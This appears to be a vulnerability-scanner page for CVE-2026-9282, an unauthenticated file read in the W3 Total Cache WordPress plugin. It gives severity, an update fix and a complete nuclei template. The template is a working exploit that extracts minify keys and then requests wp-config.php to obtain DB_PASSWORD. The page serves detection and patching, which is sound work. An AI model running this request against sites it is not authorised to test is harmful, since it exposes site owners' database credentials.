W3 Total Cache <= 2.9.4 - Unauthenticated Arbitrary File Read

highseverity

7.5CVSS score

2.9%likelihood of exploitation, next 30 days

87%of all CVEs are less likely

Readycheck to confirm it

W3 Total Cache WordPress plugin <= 2.9.4 contains a directory traversal caused by improper handling in setupSources function, letting unauthenticated attackers read arbitrary files, exploit requires manual minify mode enabled with specific filename.

Impact

Unauthenticated attackers can read arbitrary files, potentially exposing sensitive information on the server.

Fix

Update to the latest version beyond 2.9.4.

How to confirm it

Send: GET /
Positive when: status_code == 200 and contains(body, "/wp-content/cache/minify/")
Send: GET /?w3tc_minify={{theme_key}}.{{template_key}}.include.{{theme_key}}.css&f_array[]=wp-config.php
Positive when: status_code == 200 and contains(content_type, "text/css") and contains(body, "DB_PASSWORD") and contains(body, "DB_NAME")

Run it with nuclei: nuclei -id CVE-2026-9282 -u <target>

The full check

id: CVE-2026-9282

info:
  name: W3 Total Cache <= 2.9.4 - Unauthenticated Arbitrary File Read
  author: 0x_Akoko
  severity: high
  description: |
   W3 Total Cache WordPress plugin <= 2.9.4 contains a directory traversal caused by improper handling in setupSources function, letting unauthenticated attackers read arbitrary files, exploit requires manual minify mode enabled with specific filename.
  impact: |
   Unauthenticated attackers can read arbitrary files, potentially exposing sensitive information on the server.
  remediation: |
   Update to the latest version beyond 2.9.4.
  reference:
    - https://www.wordfence.com/threat-intel/vulnerabilities/id/e92cc06d-006f-4bba-a4ef-b23d80c00085
    - https://plugins.trac.wordpress.org/browser/w3-total-cache/tags/2.9.4/Minify_MinifiedFileRequestHandler.php#L191
    - https://plugins.trac.wordpress.org/browser/w3-total-cache/tags/2.9.4/lib/Minify/Minify/Controller/MinApp.php#L108
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2026-9282
    epss-score: 0.02861
    epss-percentile: 0.86869
    cwe-id: CWE-22
  metadata:
    verified: true
    max-request: 2
    vendor: boldgrid
    product: w3-total-cache
    fofa-query: body="/wp-content/plugins/w3-total-cache/"
    shodan-query: http.html:"w3-total-cache"
    tags: cve,cve2026,wordpress,wp-plugin,w3-total-cache,lfi,unauth,disclosure,vkev

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "/wp-content/cache/minify/")'
        condition: and
        internal: true

    extractors:
      - type: regex
        name: theme_key
        internal: true
        part: body
        group: 1
        regex:
          - '/wp-content/cache/minify/([a-f0-9]+)\.[^./"]+\.include(?:-(?:footer|body))?\.[a-f0-9]+\.(?:css|js)'

      - type: regex
        name: template_key
        internal: true
        part: body
        group: 1
        regex:
          - '/wp-content/cache/minify/[a-f0-9]+\.([^./"]+)\.include(?:-(?:footer|body))?\.[a-f0-9]+\.(?:css|js)'

  - raw:
      - |
        GET /?w3tc_minify={{theme_key}}.{{template_key}}.include.{{theme_key}}.css&f_array[]=wp-config.php HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "text/css")'
          - 'contains(body, "DB_PASSWORD")'
          - 'contains(body, "DB_NAME")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from